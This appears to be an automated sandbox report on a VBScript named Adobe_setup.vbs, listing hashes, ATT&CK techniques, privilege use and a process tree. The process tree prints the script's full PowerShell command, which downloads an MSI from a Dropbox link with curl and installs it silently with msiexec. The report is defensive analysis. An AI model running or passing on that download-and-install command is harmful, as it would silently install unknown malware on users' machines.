eaa268aa6c20667b62a5ce642dd78f51a7ea922ea9c794f3e7f8419ae490278c

Analysis

max time kernel
148s
max time network
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
17/08/2026, 12:30

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General

Target
Adobe_setup.vbs
Size 1KB
Sample260817-pptpss1vb1
SHA256 eaa268aa6c20667b62a5ce642dd78f51a7ea922ea9c794f3e7f8419ae490278c
MD5 8631a9092d3dda2e69f3e75dc1d1e6ea
SHA1 ba6bda1d26cfd3dbc949dd887fd6ca9f2492793d
SHA512 c0a7d9f49a73ca9a437aa0fa0fda5d258e9f19391f1999a3916ada641feb7f1e5a5d7cbddf7b54e66d78c5d8a96662d34d80643242c516dd9055e1e4f88dbfff
TLSH
T16B11EF90AA24DC410738239A4C849A915B22132220862F72FD3D4C5DCBE4632F2ACCCE
MD5 SHA1 SHA512 TLSH

Score

5^/10

execution

Malware Config

Signatures

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
3332	WScript.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2096	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
2096	powershell.exe
2096	powershell.exe

Suspicious use of AdjustPrivilegeToken 33 IoCs

description	pid	Process
Token: SeDebugPrivilege	2096	powershell.exe
Token: SeShutdownPrivilege	4872	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4872	msiexec.exe
Token: SeSecurityPrivilege	4300	msiexec.exe
Token: SeCreateTokenPrivilege	4872	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4872	msiexec.exe
Token: SeLockMemoryPrivilege	4872	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4872	msiexec.exe
Token: SeMachineAccountPrivilege	4872	msiexec.exe
Token: SeTcbPrivilege	4872	msiexec.exe
Token: SeSecurityPrivilege	4872	msiexec.exe
Token: SeTakeOwnershipPrivilege	4872	msiexec.exe
Token: SeLoadDriverPrivilege	4872	msiexec.exe
Token: SeSystemProfilePrivilege	4872	msiexec.exe
Token: SeSystemtimePrivilege	4872	msiexec.exe
Token: SeProfSingleProcessPrivilege	4872	msiexec.exe
Token: SeIncBasePriorityPrivilege	4872	msiexec.exe
Token: SeCreatePagefilePrivilege	4872	msiexec.exe
Token: SeCreatePermanentPrivilege	4872	msiexec.exe
Token: SeBackupPrivilege	4872	msiexec.exe
Token: SeRestorePrivilege	4872	msiexec.exe
Token: SeShutdownPrivilege	4872	msiexec.exe
Token: SeDebugPrivilege	4872	msiexec.exe
Token: SeAuditPrivilege	4872	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4872	msiexec.exe
Token: SeChangeNotifyPrivilege	4872	msiexec.exe
Token: SeRemoteShutdownPrivilege	4872	msiexec.exe
Token: SeUndockPrivilege	4872	msiexec.exe
Token: SeSyncAgentPrivilege	4872	msiexec.exe
Token: SeEnableDelegationPrivilege	4872	msiexec.exe
Token: SeManageVolumePrivilege	4872	msiexec.exe
Token: SeImpersonatePrivilege	4872	msiexec.exe
Token: SeCreateGlobalPrivilege	4872	msiexec.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4872	msiexec.exe
4300	msiexec.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3332 wrote to memory of 2096	3332	WScript.exe	89
PID 2096 wrote to memory of 1268	2096	powershell.exe	91
PID 2096 wrote to memory of 4872	2096	powershell.exe	92

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Adobe_setup.vbs"
1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:3332
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "& {mkdir C:\Temp -Force 2>$null; curl.exe -L --ssl-no-revoke 'https://www.dropbox.com/scl/fi/yzr5vrin9hqf89wcy3421/8976ERSDTGYUI.msi?rlkey=xb4n1chri9njotj7svafq5gjj&st=0o8hi6bq&dl=1' -o C:\Temp\GEHdrf4d3d.msi; msiexec.exe /i 'C:\Temp\GEHdrf4d3d.msi' /qn /norestart}"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2096
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -L --ssl-no-revoke https://www.dropbox.com/scl/fi/yzr5vrin9hqf89wcy3421/8976ERSDTGYUI.msi?rlkey=xb4n1chri9njotj7svafq5gjj&st=0o8hi6bq&dl=1 -o C:\Temp\GEHdrf4d3d.msi
    3⤵
    PID:1268
- - C:\Windows\system32\msiexec.exe
    "C:\Windows\system32\msiexec.exe" /i C:\Temp\GEHdrf4d3d.msi /qn /norestart
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4872

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4300

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/2096-2-0x00007FFB7385F000-0x00007FFB73860000-memory.dmp

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memory/2096-5-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp

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memory/2096-6-0x0000019D0E230000-0x0000019D0E252000-memory.dmp

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memory/2096-7-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp

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memory/2096-8-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp

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memory/2096-9-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp

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memory/2096-10-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp

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memory/2096-11-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp

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memory/2096-12-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp

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memory/2096-13-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp

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memory/2096-14-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp

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memory/2096-15-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp

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memory/2096-18-0x00007FFB736D0000-0x00007FFB74074000-memory.dmp

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